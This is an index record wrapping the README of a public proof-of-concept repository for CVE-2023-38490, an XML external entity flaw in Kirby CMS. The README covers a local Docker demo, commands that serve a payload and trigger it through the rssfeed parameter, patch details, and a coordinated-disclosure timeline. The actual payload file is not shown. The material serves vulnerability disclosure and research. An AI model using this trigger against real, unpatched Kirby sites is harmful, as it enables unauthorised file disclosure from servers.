{"id":18464858,"url":"https://github.com/acceis/exploit-cve-2023-38490","last_synced_at":"2025-07-21T21:31:57.354Z","repository":{"id":193089737,"uuid":"671846592","full_name":"Acceis/exploit-CVE-2023-38490","owner":"Acceis","description":"Kirby \u003c 3.9.6 XML External Entity exploit","archived":false,"fork":false,"pushed_at":"2023-07-28T13:05:59.000Z","size":78,"stargazers_count":0,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-30T19:50:27.096Z","etag":null,"topics":["cve","cve-2023-38490","exploit","kirby","kirby-cms","xxe"],"latest_commit_sha":null,"homepage":"https://www.acceis.fr/kirby-3-9-6-xml-external-entity-xxe-vulnerability-cve-2023-38490","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Acceis.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-07-28T09:19:23.000Z","updated_at":"2023-09-06T15:42:35.000Z","dependencies_parsed_at":null,"dependency_job_id":"3616f11b-c754-470c-bead-f80f953ba1f1","html_url":"https://github.com/Acceis/exploit-CVE-2023-38490","commit_stats":null,"previous_names":["acceis/exploit-cve-2023-38490"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Acceis/exploit-CVE-2023-38490","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Acceis%2Fexploit-CVE-2023-38490","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Acceis%2Fexploit-CVE-2023-38490/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Acceis%2Fexploit-CVE-2023-38490/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Acceis%2Fexploit-CVE-2023-38490/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Acceis","download_url":"https://codeload.github.com/Acceis/exploit-CVE-2023-38490/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Acceis%2Fexploit-CVE-2023-38490/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":266382318,"owners_count":23920682,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-21T11:47:31.412Z","response_time":64,"last_error":null,"robots_txt_status":null,"robots_txt_updated_at":null,"robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","cve-2023-38490","exploit","kirby","kirby-cms","xxe"],"created_at":"2024-11-06T09:11:19.941Z","updated_at":"2025-07-21T21:31:57.335Z","avatar_url":"https://github.com/Acceis.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Kirby XML External Entity (XXE) - CVE-2023-38490 exploit\n\n\u003e Kirby \u003c 3.9.6 XML External Entity\n\nExploit for [CVE-2023-38490](https://nvd.nist.gov/vuln/detail/CVE-2023-38490) / [GHSA-q386-w6fg-gmgp](https://github.com/getkirby/kirby/security/advisories/GHSA-q386-w6fg-gmgp).\n\n## Exploitation demonstration\n\nBuild and run the vulnerable demo app:\n\n```bash\ncd docker\ndocker buildx build -t kirby-starterkit-3.9.5 .\ndocker run -d --rm -p 127.0.0.2:1337:80/tcp --name CVE-2023-38490 kirby-starterkit-3.9.5:latest\n```\n\nServe the demo payload:\n\nNote: choose a bind address that the docker container can access.\n\n```bash\npopd\nruby -run -e httpd ./payload -p 9999 -b 192.168.0.225\n```\n\nTrigger the exploit:\n\n```bash\nxdg-open http://127.0.0.2:1337/rssfeed?feed=http://192.168.0.225:9999/xxe.rss\n```\n\n## How, and why does it work?\n\nThe vulnerable function is present in Kirby Core but is not used by default in Kirby Core, Kirby StarterKit, or Kirby PlainKit. It means the vulnerability won't affect you on default configuration but could be introduced with custom development or by installing a plugin using the impacted toolkit.\n\nFor more details, read the dedicated article ([EN 🇬🇧](https://www.acceis.fr/kirby-3-9-6-xml-external-entity-xxe-vulnerability-cve-2023-38490) or [FR 🇫🇷](https://www.acceis.fr/vulnerabilite-kirby-3-9-6-xml-external-entity-xxe-cve-2023-38490)).\n\n## References\n\n- Target software: Kirby\n  - Homepage / Vendor: https://getkirby.com/\n  - Source code:\n    - Core: https://github.com/getkirby/kirby\n    - StarterKit (sample site): https://github.com/getkirby/starterkit\n    - PlainKit (minimal setup): https://github.com/getkirby/plainkit\n  - Vulnerable versions:\n    - \u003c= 3.5.8.2\n    - 3.6.0-3.6.6.2\n    - 3.7.0-3.7.5.1\n    - 3.8.0-3.8.4\n    - 3.9.0-3.9.5\n  - Patched versions:\n    - 3.5.8.3+\n    - 3.6.6.3+\n    - 3.7.5.2+\n    - 3.8.4.1+\n    - 3.9.6+\n  - Patches:\n    - 3.5-3.7: [4b2c454](https://github.com/getkirby/kirby/commit/4b2c454039c27e87e7dbda4a52afdbc012e57efd)\n    - 3.8-3.9: [277b056](https://github.com/getkirby/kirby/commit/277b05662d2b67386f0a0f18323cf68b30e86387)\n  - Advisories:\n    - [Github](https://github.com/getkirby/kirby/security/advisories/GHSA-q386-w6fg-gmgp)\n    - [OpenCVE](https://www.opencve.io/cve/CVE-2023-38490)\n    - [AttackerKB](https://attackerkb.com/topics/NCH1phjOzC/cve-2023-38490)\n\n## Timeline\n\n- Week 24 - Mon, 12 Jun 2023: Vulnerability discovered by Alexandre ZANNI ([@noraj](https://pwn.by/noraj/)), Penetration Testing Engineer at [ACCEIS](https://www.acceis.fr/).\n- Week 24 - Tue, 13 Jun 2023: Vulnerability reported to the editor (Kirby) by Alexandre ZANNI\n- Week 24 - Wed, 14 Jun 2023: Proof of Concept shared with the editor (Kirby) from Alexandre ZANNI\n- Week 24 - Wed, 14 Jun 2023: RFC 9116 [security.txt](https://getkirby.com/security.txt) added to getkirby.com\n- Week 24 - Thu, 15 Jun 2023: Vulnerability confirmed by the editor (Kirby)\n- Week 24 - Thu, 15 Jun 2023: Release fixes and patches planned\n- Week 26 - Thu, 29 Jun 2023: Vulnerability independently discovered by Patrick FALB ([@dapatrese](https://github.com/dapatrese)) at [FORMER 03](https://former03.de/).\n- Week 28 - Sun, 16 Jul 2023: Creation of a private GitHub advisory\n- Week 29 - Sun, 23 Jul 2023: CVE ID requested\n- Week 29 - Sun, 23 Jul 2023: Vulnerability patched by the editor (Kirby)\n- Week 30 - Mon, 24 Jul 2023: Alexandre ZANNI invited to the private advisory by the editor (Kirby)\n- Week 30 - Mon, 24 Jul 2023: Preparation of a vulnerable demo docker container by Alexandre ZANNI\n- Week 30 - Mon, 24 Jul 2023: CVE ID CVE-2023-38490 registered (reserved) \n- Week 30 - Thu, 27 Jul 2023: Public release of the Github advisory and patches\n\n## Disclaimer\n\nACCEIS does not promote or encourage any illegal activity, all content provided by this repository is meant for research, educational, and threat detection purpose only.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Facceis%2Fexploit-cve-2023-38490","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Facceis%2Fexploit-cve-2023-38490","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Facceis%2Fexploit-cve-2023-38490/lists"}